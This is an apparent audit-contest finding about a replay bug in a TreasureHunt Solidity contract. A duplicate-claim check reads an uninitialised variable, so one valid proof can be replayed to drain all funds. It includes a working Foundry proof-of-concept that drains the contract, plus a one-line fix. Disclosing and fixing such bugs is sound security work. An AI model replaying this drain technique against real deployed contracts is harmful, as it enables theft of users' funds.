Description
Normal behavior: TreasureHunt.claim(proof, treasureHash, recipient) at contracts/src/TreasureHunt.sol:83-112 should pay out REWARD ETH to recipient exactly once per treasureHash. After a successful claim the claimed[treasureHash] mapping entry is set, and subsequent calls with the same treasureHash must revert with AlreadyClaimed(treasureHash).
Specific issue: The duplicate-claim guard at L88 references the wrong variable. contracts/src/TreasureHunt.sol:35 declares bytes32 private immutable _treasureHash; which is never assigned in the constructor (L67-L75), so it defaults to bytes32(0) in the deployed bytecode. The guard at L88 reads claimed[_treasureHash] (i.e. claimed[bytes32(0)]), while the mark at L104 via _markClaimed correctly writes claimed[<parameter treasureHash>] = true. Because the keys do not intersect for any non-zero treasureHash, the guard never fires.
bytes32 private immutable _treasureHash;
constructor(address _verifier) payable {
if (_verifier == address(0)) revert InvalidVerifier();
owner = msg.sender;
verifier = IVerifier(_verifier);
paused = false;
}
function claim(bytes calldata proof, bytes32 treasureHash, address payable recipient) external nonReentrant() {
...
if (claimed[_treasureHash]) revert AlreadyClaimed(treasureHash);
...
_incrementClaimsCount();
_markClaimed(treasureHash);
(bool sent, ) = recipient.call{value: REWARD}("");
require(sent, "ETH_TRANSFER_FAILED");
emit Claimed(treasureHash, msg.sender);
}
Risk
Likelihood: HIGH
Reason 1: Any participant who finds a single valid treasure secret (the intended honest-participant path) is able to execute the exploit. No special tooling, no privileged access. A 3-line change to the attack script.
Reason 2: The calldata of a successful claim is public on-chain, so anyone — not just the original finder — can observe (proof, treasureHash, recipient) and replay it from a different msg.sender (satisfying the recipient != msg.sender check by using a distinct EOA).
Impact: HIGH
Impact 1: Direct theft of 100% of protocol funds. A single valid secret drains the full MAX_TREASURES × REWARD = 10 × 10 ETH = 100 ETH funding.
Impact 2: Every other legitimate treasure finder is deprived of their 10 ETH reward — there is no ETH left once the bug is triggered.
Proof of Concept
The following Foundry test uses a MockVerifier shim (a minimal IVerifier implementation that returns true for any non-empty proof + honours setExpectedRecipientField for binding) to isolate the Solidity-level bug from the real Barretenberg-generated verifier. The real verifier enforces proof-to-public-input binding, which the shim also enforces via expectedRecipientField for realism.
pragma solidity ^0.8.27;
import "forge-std/Test.sol";
import {TreasureHunt} from "../src/TreasureHunt.sol";
import {IVerifier, BaseZKHonkVerifier} from "../src/Verifier.sol";
contract MockVerifier is BaseZKHonkVerifier, IVerifier {
bytes32 public expectedProofHash;
bytes32 public expectedRecipientField;
function setExpectedProofHash(bytes32 h) external { expectedProofHash = h; }
function setExpectedRecipientField(bytes32 r) external { expectedRecipientField = r; }
function verify(bytes calldata proof, bytes32[] calldata publicInputs) external view returns (bool) {
if (expectedProofHash != bytes32(0) && keccak256(proof) != expectedProofHash) revert SumcheckFailed();
if (expectedRecipientField != bytes32(0) && (publicInputs.length < 2 || publicInputs[1] != expectedRecipientField)) revert SumcheckFailed();
return true;
}
}
contract DoubleClaimPoC is Test {
TreasureHunt hunt;
MockVerifier verifier;
address constant OWNER = address(0xA11CE);
address constant SENDER = address(0x51EA1E4);
address constant RECIPIENT = address(0xB055);
bytes32 constant HX = bytes32(uint256(0xBABE));
bytes PROOF = hex"90abcdef";
function setUp() public {
vm.deal(OWNER, 500 ether);
vm.startPrank(OWNER);
verifier = new MockVerifier();
hunt = new TreasureHunt{value: 100 ether}(address(verifier));
vm.stopPrank();
verifier.setExpectedProofHash(keccak256(PROOF));
verifier.setExpectedRecipientField(bytes32(uint256(uint160(RECIPIENT))));
}
function test_replay_same_everything_succeeds() public {
vm.prank(SENDER);
hunt.claim(PROOF, HX, payable(RECIPIENT));
assertEq(RECIPIENT.balance, 10 ether, "first claim paid");
assertTrue(hunt.claimed(HX), "claimed mark set");
vm.prank(SENDER);
hunt.claim(PROOF, HX, payable(RECIPIENT));
assertEq(RECIPIENT.balance, 20 ether, "second claim paid - BUG");
assertEq(hunt.claimsCount(), 2, "claimsCount==2 from single-secret replay");
}
function test_full_drain_with_one_secret() public {
verifier.setExpectedProofHash(bytes32(0));
verifier.setExpectedRecipientField(bytes32(0));
uint256 preBalance = address(hunt).balance;
assertEq(preBalance, 100 ether);
address payable[10] memory targets;
for (uint256 i = 0; i < 10; i++) {
targets[i] = payable(address(uint160(uint256(0xCAFE0000) + i)));
vm.prank(SENDER);
hunt.claim(hex"deadbeef", HX, targets[i]);
}
assertEq(address(hunt).balance, 0, "hunt contract drained");
uint256 totalPaid;
for (uint256 i = 0; i < 10; i++) totalPaid += targets[i].balance;
assertEq(totalPaid, 100 ether, "attacker-controlled addresses hold 100 ETH");
assertEq(hunt.claimsCount(), hunt.MAX_TREASURES(), "all slots consumed by bug");
}
}
Both tests pass under forge test. Slither's uninitialized-state detector directly flags TreasureHunt._treasureHash as "never initialized. It is used in: TreasureHunt.claim(bytes,bytes32,address)". Additionally, the contest's own existing test testClaimDoubleSpendReverts at contracts/test/TreasureHunt.t.sol:134-147 has //vm.expectRevert(); commented out — i.e. the test is named as if it expected a revert, but actually asserts the double-spend succeeds under the bug.
Recommended Mitigation
// contracts/src/TreasureHunt.sol
- // ----- immutable config -----
- IVerifier private verifier;
- address private immutable owner;
- bytes32 private immutable _treasureHash;
+ // ----- immutable config -----
+ IVerifier private verifier;
+ address private immutable owner;
+ // Remove unused _treasureHash immutable — it was never assigned and is not needed.
...
function claim(bytes calldata proof, bytes32 treasureHash, address payable recipient) external nonReentrant() {
if (paused) revert ContractPaused();
if (address(this).balance < REWARD) revert NotEnoughFunds();
if (recipient == address(0) || recipient == address(this) || recipient == owner || recipient == msg.sender) revert InvalidRecipient();
if (claimsCount >= MAX_TREASURES) revert AllTreasuresClaimed();
- if (claimed[_treasureHash]) revert AlreadyClaimed(treasureHash);
+ if (claimed[treasureHash]) revert AlreadyClaimed(treasureHash);
if (msg.sender == owner) revert OwnerCannotClaim();
...
}
The one-character fix (_treasureHash → treasureHash) on L88 restores the intended replay guard. The unused immutable at L35 should also be deleted for clarity.
As a regression guard, uncomment the existing //vm.expectRevert(); in contracts/test/TreasureHunt.t.sol:144 so that the testClaimDoubleSpendReverts test actually asserts the intended behavior:
function testClaimDoubleSpendReverts() public {
...
vm.startPrank(participant);
hunt.claim(proof, treasureHash, recipient);
- //vm.expectRevert();
+ vm.expectRevert(abi.encodeWithSelector(TreasureHunt.AlreadyClaimed.selector, treasureHash));
hunt.claim(proof, treasureHash, recipient);
vm.stopPrank();
}
